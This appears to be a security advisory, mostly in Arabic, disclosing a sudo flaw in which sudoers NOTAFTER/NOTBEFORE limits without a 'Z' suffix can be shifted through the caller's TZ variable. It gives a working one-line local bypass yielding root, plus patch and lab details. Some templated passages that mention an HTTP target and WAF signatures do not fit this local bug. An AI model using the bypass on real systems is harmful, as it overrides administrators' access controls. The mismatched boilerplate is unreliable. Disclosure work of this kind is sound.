abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  CVE-2026-96512

CVE-2026-96512

sudo 1.9.13p3 (Debian bookworm) — Sudo Project

تم العثور على ثغرة في sudo. عندما تستخدم قواعد sudoers قيود الوصول الزمنية NOTBEFORE أو NOTAFTER مع طوابع زمنية تفتقد مؤشر المنطقة الزمنية اللاحق Z، يعتمد تقييم الوقت على متغير البيئة TZ الموروث من المستخدم المستدعي.

Advisory (من خريطة المصدر)

plugins/sudoers parse_gentime / gram.y timespec. الإصلاح sudo-project/sudo@1820a34 ينسخ environ من envp و unsetenv TZ.

Entry

• Method: LOCAL
• Path: TZ=UTC+14 sudo -n /usr/bin/id
• Router: سياسة sudoers محلية موثّقة. parse_gentime() mktime() على NOTAFTER بدون Z. TZ موروث من موضوع sudoers.
• Notes: CVE-2026-96512 CWE-863 sudo 1.9.13p3. الشاهد: uid=0(root) مع TZ=UTC+14؛ مرفوض بدون TZ. ليس reverse shell. محلي PR:L فقط.

سلسلة الاستدعاء

• sudoers: labuser ALL=(root) NOPASSWD: NOTAFTER=<now-1h no Z> /usr/bin/id
• labuser sudo -n /usr/bin/id -> denied (expired)
• TZ=UTC+14 sudo -n /usr/bin/id
• parse_gentime mktime honors POSIX TZ=UTC+14
• NOTAFTER epoch shifts +14h; command allowed as root

شروط المختبر المسبقة

• sudo 1.8.20 حتى 1.9.17p2
• قاعدة sudoers للمهاجم مع NOTBEFORE أو NOTAFTER وبدون Z لاحقة

الشاهد

بدون TZ: sudo -n id مرفوض. مع TZ=UTC+14: uid=0(root).

ليس نجاحًا

• root بدون TZ (القاعدة لا تزال صالحة)
• وصول شبكي عن بُعد
• reverse shell

Patch / remediation

افعل هذا أولًا: حدّث sudo إلى main commit 1820a34 (لا يوجد إصدار upstream بعد) أو أحدث.

تحقق بعد الترقية

• أعد تشغيل CVE-2026-96512-Abraxas-Labs.py مقابل البناء المُرقّع: يجب ألا يظهر الشاهد المُعيَّن.
• أكّد إشعار المورّد / changeset في الشجرة المنشورة (انظر المراجع).
• توقيع WAF هو تأخير، وليس ترقيعًا.

إذا لم تستطع التحديث فورًا

• عطّل أو اعزل المكوّن المتأثر.
• ابحث عن حالة الشاهد في بيئة الإنتاج (مستخدمون مميزون جدد، ملفات غير متوقعة، صفوف مُدخلة — أي شيء تسميه خريطة هذا CVE).

Reproduction (مختبر مصرّح به)

استهدف فقط http://127.0.0.1:8088 (أو loopback الذي ربطته). لا توجّه هذا السكربت إلى الإنترنت.

python3 CVE-2026-96512-Abraxas-Labs.py

النجاح هو الشاهد أعلاه في جسم الاستجابة. صفحة HTML عامة بحالة 200 ليست هي.

Lab images

حزمة loopback المستخدمة لإعادة الإنتاج. صور رسمية ما لم يبنِ Dockerfile في هذا المجلد من المصدر.

• lab/docker-compose.yml
• lab/Dockerfile

cd lab
docker compose up --force-recreate

اربط شجرة المنتج المتأثر بجانب Compose إذا كان ملف YAML يربط مجلدًا محليًا (plugin zip / source tag من جدول الإصدارات). لا تنشر شيئًا عدا 127.0.0.1.

References

• CVE-2026-96512 · NVD

• CVE-2026-96512 · CVE.org

• access.redhat.com/security/cve/cve-2026-96512

• http://www.openwall.com/lists/oss-security/2026/09/24/4

• github.com/sudo-project/sudo/commit/1820a349687522f51023d1ae5925125f59679a8c

• www.cve.org/CVERecord?id=CVE-2026-96512

• access.redhat.com/security/cve/CVE-2026-96512

• Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null

Records (منظَّمة)

# CVE-2026-96512

CWE: CWE-863
CVSS: High 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Red Hat).

## Description

sudoers `NOTBEFORE`/`NOTAFTER` timestamps without a trailing `Z` are converted with `mktime()`, which follows the caller’s `TZ`. A local user who is already named in such a rule can shift the window by up to ~25 hours (POSIX `TZ=UTC+14`) and run the allowed command outside the intended period. PAM authentication is unchanged.

## Product

sudo 1.9.13p3 on Debian bookworm (upstream 1.8.20–1.9.17p2). Fix in main `1820a34`; no upstream tarball yet at disclosure. Lab oracle is `uid=0(root)` via TZ, not a shell.

License

هذه الحزمة الإفصاحية مرخّصة بموجب GNU Affero General Public License v3.0. انظر LICENSE.

Disclaimer

هذه الحزمة مخصّصة للمورّد، ومالك الموقع، والمختبرات المرخّصة. يتواصل السكربت مع 127.0.0.1. استخدامه ضد أنظمة لا تملكها غير مصرّح به من Abraxas Labs. لا ضمان.

abraxaslabs.tech · github.com/abraxas · @abraxas_null